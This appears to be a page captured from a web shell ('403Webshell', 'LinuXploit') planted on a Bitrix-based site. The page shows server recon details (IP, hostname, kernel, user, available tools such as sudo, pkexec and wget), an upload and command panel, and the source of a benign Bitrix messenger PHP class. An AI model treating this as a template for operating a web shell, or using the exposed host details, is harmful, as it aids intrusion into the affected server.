403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/im/lib/V2/Promotion/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/im/lib/V2/Promotion/Promotion.php
<?php

declare(strict_types=1);

namespace Bitrix\Im\V2\Promotion;

use Bitrix\Im\V2\Promotion\Entity\PromotionList;
use Bitrix\Im\V2\Promotion\Event\Update\PromotionUpdateData;
use Bitrix\Im\V2\Promotion\Event\Update\PromotionUpdateEvent;
use Bitrix\Im\V2\Promotion\Internals\DeviceType;
use Bitrix\Im\V2\Promotion\Service\PromotionServiceInterface;
use Bitrix\Main\Config\Option;
use Bitrix\Main\DI\ServiceLocator;
use Bitrix\Main\Result;
use Bitrix\Main\Validation\ValidationService;

class Promotion
{
	/** @var PromotionServiceInterface[] */
	private array $serviceList;
	private ValidationService $vavidation;

	public function __construct()
	{
		$this->serviceList = PromotionServiceFactory::getServiceList();
		$this->vavidation = ServiceLocator::getInstance()->get('main.validation.service');
	}

	public function getActive(DeviceType $type = DeviceType::ALL): PromotionList
	{
		$promotionList = new PromotionList();

		if (self::isUnavailable())
		{
			return $promotionList;
		}

		foreach ($this->serviceList as $service)
		{
			$promotionList->merge($service->getActive($type));
		}

		return $promotionList;
	}

	public function markAsViewed(Entity\Promotion $promotion): Result
	{
		$validationResult = $this->vavidation->validate($promotion);
		if (!$validationResult->isSuccess())
		{
			return $validationResult;
		}

		return PromotionServiceFactory::create($promotion->getId())->markAsViewed($promotion);
	}

	/** @param array<int, PromotionUpdateData> $sortedByUserData */
	public function handlePromotionUpdate(array $sortedByUserData): void
	{
		if (empty($sortedByUserData))
		{
			return;
		}

		$event = new PromotionUpdateEvent($sortedByUserData);
		$event->send();
	}

	public static function isUnavailable(): bool
	{
		return Option::get('im', 'promo_disabled', 'N') === 'Y';
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit